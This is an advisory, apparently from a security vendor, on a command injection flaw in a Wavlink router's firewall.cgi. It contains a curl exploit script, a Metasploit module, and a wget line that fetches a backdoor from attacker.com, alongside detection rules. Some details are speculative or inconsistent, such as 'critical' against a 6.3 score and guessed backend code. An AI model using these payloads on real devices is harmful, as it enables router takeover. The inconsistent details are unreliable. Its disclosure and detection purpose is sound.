CVE-2025-10959

Executive Summary

CVE-2025-10959 is a critical command injection vulnerability in the Wavlink NU516U1 router running firmware version M16U1_V240425. The flaw resides in the /cgi-bin/firewall.cgi endpoint, specifically within the sub_401778 function, where the dmz_flag argument is unsanitized before being passed to a system command. An unauthenticated remote attacker can exploit this to execute arbitrary operating system commands with root privileges. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving the device unpatched. This vulnerability is particularly dangerous for exposed routers, enabling full device compromise, network pivoting, and data exfiltration.

Supply Chain & Package Security

This vulnerability is not in an NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in an embedded device (Wavlink router). Supply chain risk is high due to the vendor’s lack of response and the absence of a patch, meaning all units with this firmware are permanently vulnerable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Affects only the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Some modification possible.
• Availability Impact: Low (A:L) – Potential for service disruption.

Threat Level: High due to public exploit availability, no patch, and ease of exploitation. The EPSS score of 0.0% is misleading; this is likely due to low reporting volume, not low risk.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the CGI script /cgi-bin/firewall.cgi. The sub_401778 function processes the dmz_flag parameter without proper sanitization. When the router receives a POST request to this endpoint, it constructs a system command using the user-supplied value of dmz_flag. For example, the backend might execute something like:

/sbin/iptables -I FORWARD -j DMZ --dmz-flag <user_input>

If an attacker injects shell metacharacters (e.g., ;, |, &&, `), they can break out of the intended command and execute arbitrary commands. The CGI binary runs with root privileges, giving the attacker full control over the device.

Attack Flow:

1. Attacker identifies a Wavlink NU516U1 router with firmware M16U1_V240425.
2. Sends a crafted HTTP POST request to /cgi-bin/firewall.cgi with a malicious dmz_flag parameter.
3. The router executes the injected command, e.g., ; wget http://attacker.com/malware -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor &.
4. Attacker gains a reverse shell or persistent backdoor.

Vulnerable vs. Patched Code

Vulnerable Code (M16U1_V240425):

// /cgi-bin/firewall.cgi - sub_401778
void sub_401778(char *dmz_flag) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "/sbin/iptables -I FORWARD -j DMZ --dmz-flag %s", dmz_flag);
    system(cmd);
}

Patched Code (Hypothetical):

// Patched version
void sub_401778(char *dmz_flag) {
    // Validate input: only allow alphanumeric and specific characters
    if (!is_valid_dmz_flag(dmz_flag)) {
        return; // Reject invalid input
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "/sbin/iptables -I FORWARD -j DMZ --dmz-flag %s", dmz_flag);
    system(cmd);
}

The patched version would include input validation (e.g., whitelist of allowed characters) and avoid passing user input directly to system(). Since no patch exists, the vulnerable code remains in production.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Wavlink NU516U1 with firmware M16U1_V240425.
• Network access to the router’s web interface (typically port 80 or 443).

Exploit Payload:

#!/bin/bash
# CVE-2025-10959 Exploit
TARGET="192.168.1.1"
PAYLOAD="; id > /tmp/pwned;"
curl -X POST "http://$TARGET/cgi-bin/firewall.cgi" \
  -d "dmz_flag=$PAYLOAD"
# Verify
curl "http://$TARGET/cgi-bin/firewall.cgi?cmd=cat%20/tmp/pwned"

Metasploit Module (Conceptual):

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wavlink NU516U1 Command Injection',
      'Description'    => 'Exploits command injection in /cgi-bin/firewall.cgi',
      'Author'         => ['Valters IT'],
      'References'     => [['CVE', '2025-10959']],
      'DisclosureDate' => '2025-04-01',
      'Payload'        => {'Space' => 1024},
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/cgi-bin/firewall.cgi',
      'data'   => "dmz_flag=;#{payload.encoded};"
    })
  end
end

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/firewall.cgi with suspicious dmz_flag values (e.g., containing ;, |, &, $).
2. Check for unexpected processes spawned by the web server (e.g., wget, curl, bash).
3. Look for outbound connections from the router to unknown IPs on non-standard ports.

Hardening (Temporary):

• Block external access to the router’s web interface via firewall rules.
• Disable the DMZ feature if not needed.
• Monitor logs for exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/firewall.cgi with dmz_flag containing shell metacharacters.
• Outbound connections from the router to IPs on ports 4444, 8080, or 31337 (common reverse shell ports).
• DNS queries to known malicious domains (e.g., attacker.com).

File System IOCs:

• Presence of /tmp/pwned, /tmp/backdoor, or similar files.
• Modified /etc/passwd or /etc/shadow (if attacker adds users).
• Unusual cron jobs in /etc/crontab.

Process IOCs:

• Running processes like wget, curl, nc, bash spawned by the web server (e.g., lighttpd or httpd).

Detection Engineering

YARA Rule

rule CVE_2025_10959_Wavlink_Command_Injection {
    meta:
        description = "Detects command injection attempts against Wavlink NU516U1"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-10959"
    strings:
        $injection1 = "dmz_flag=;" ascii wide
        $injection2 = "dmz_flag=|" ascii wide
        $injection3 = "dmz_flag=&&" ascii wide
        $injection4 = "dmz_flag=`" ascii wide
        $cgi_path = "/cgi-bin/firewall.cgi" ascii wide
    condition:
        any of ($injection*) and $cgi_path
}

Sigma Rule

title: Wavlink NU516U1 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/firewall.cgi with malicious dmz_flag parameter
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/firewall.cgi'
        cs-uri-query|contains: 'dmz_flag='
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of DMZ feature with unusual characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10959 Wavlink Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/firewall.cgi"; http_uri; content:"dmz_flag="; http_client_body; pcre:"/(;|\||&&|`)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Disconnect the router from the internet or place it behind a firewall that blocks inbound HTTP traffic to the web interface.
2. Disable DMZ: If the DMZ feature is not required, disable it via the router’s admin panel.
3. Monitor logs: Enable logging on the router and monitor for exploitation attempts.

Long-Term Fix:

• Vendor patch: No patch is available. Contact Wavlink and demand a firmware update.
• Replace device: Consider replacing the router with a supported, patched alternative.
• Custom firmware: If technically feasible, flash an open-source firmware (e.g., OpenWrt) that is not affected.

Compensating Controls:

• Deploy a WAF (Web Application Firewall) in front of the router to block malicious requests.
• Use network segmentation to limit the router’s access to critical systems.

Valters IT